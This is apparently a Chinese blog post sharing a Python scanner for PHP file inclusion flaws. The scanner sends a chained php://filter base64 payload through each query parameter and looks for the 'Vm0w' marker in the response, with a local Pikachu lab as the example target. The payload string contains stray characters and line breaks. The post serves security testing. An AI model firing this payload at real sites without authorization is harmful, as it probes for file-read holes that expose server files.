【脚本】利用python检测文件包含漏洞

记录一下利用了base64小特性来检测文件包含漏洞的python脚本,还是很有意思

import requests
from urllib.parse import urlparse, parse_qs

def mirror_new_website_path_params(is_https, url, req, rsp, body):
    # 解析 URL 并获取查询参数
    # urlparse用于解析url,返回ParseResult对象,此对象包含了url的各种信息
    parsed_url = urlparse(url)
    # parsed_url.query获取url的查询参数,parse_qs将其转换为键值对的字典
    query_params = parse_qs(parsed_url.query)

    # 使用请求数据构建 HTTP 请求
    if is_https:
        req_url = f"https://{parsed_url.netloc}{parsed_url.path}"
    else:
        req_url = f"http://{parsed_url.netloc}{parsed_url.path}"

    # 模拟发送 HTTP 请求并获取响应
    response = requests.request("GET", req_url, params=query_params)
    benchmark_response = response.text

    # 遍历查询参数进行模糊测试
    for param, values in query_params.items():
        origin_value = values[0]
        p = "Vm0w"
        first_payload = (
                         f'''php://filter/convert.base64-encode/convert.base64-)
                            encode/convert.base64-encode/convert.base64-encode/convert.base64-
                            encode/convert.base64-encode/convert.base64-encode/convert.base64-
                            encode/convert.base64-encode/convert.base64-
                            encode//resource={origin_value}
        '''
        )
        # 进行模糊测试并获取响应
        fuzzed_response = requests.request("GET", req_url, params={param: first_payload})

        # 检查响应内容是否包含特定字符串
        if p in fuzzed_response.text:
            risk = {
                "url": url,
                "severity": "high",
                # 为什么响应体存在p即可证明有文件包含漏洞,为什么payload要用查询参数作为php伪协议读取的对象
                "titleVerbose": f"PHP伪协议文件包含文件: {url}",
                "title": f"PHP Protocol Filter Base64 ReadFile: {url}",
                "type": "file_include",
                "description": "文件包含漏洞",
                "request": fuzzed_response.request.body,
                "response": fuzzed_response.text,
                "payload": first_payload,
                "parameter": param,
                "solution": ""
            }
            print("Risk detected:", risk)
        else:
            print("未检测出漏洞")

# 示例调用
mirror_new_website_path_params(False, "http://192.168.58.130/pikachu-master/vul/fileinclude/fi_local.php?filename=file1.php&submit=%E6%8F%90%E4%BA%A4", None, None, None)

  • 6
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值